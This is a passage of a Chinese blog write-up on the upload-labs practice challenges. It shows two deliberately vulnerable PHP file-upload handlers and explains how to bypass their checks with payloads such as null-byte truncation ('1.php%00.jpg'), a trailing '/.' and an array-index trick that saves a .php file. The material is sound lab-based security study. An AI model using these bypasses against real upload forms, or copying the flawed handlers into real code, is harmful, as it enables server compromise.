由此可得出结论,条件竞争绕过存在一定概率,实践中如果一次不成功,可以多试几次。

/. 绕过

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$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}

} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

pathinfo函数说明,会输出 dirnamebasenameextension,这里img_path可控(通过post sava_name),所以可以利用move_uploaded_file\x00截断(save_name=1.php%00.jpg)绕过,但\x00截断之前关卡已经出现过了,这里明显是考察别的知识点。其实考点是:move_uploaded_file会忽略掉文件末尾的./,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

绕过方法

  1. post: save_name = 1.php%00.jpg
  2. post: save_name = 1.php/.

数组 /. 绕过

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$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}

$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}

可以发现$file_name经过reset($file) . '.' . $file[count($file) - 1];处理。

如果上传的是数组的话,会跳过$file = explode('.', strtolower($file));。并且后缀有白名单过滤

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$ext = end($file);
$allow_suffix = array('jpg','png','gif');

而最终的文件名后缀取的是$file[count($file) - 1],因此我们可以让$file为数组。$file[0]smi1e.php/,也就是reset($file),然后再令$file[2]为白名单中的jpg。此时end($file)等于jpg,$file[count($file) - 1]为空。而 $file_name = reset($file) . '.' . $file[count($file) - 1];,也就是smi1e.php/.,最终move_uploaded_file会忽略掉/.,最终上传smi1e.php。这里直接借用一下 smi1e 师傅的图。

1WOzSx.png

1WXSl6.png

小结

1WXDAJ.png

Author: 52HeRtz
Link: https://www.52hertz.tech/2019/11/17/upload-labs/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
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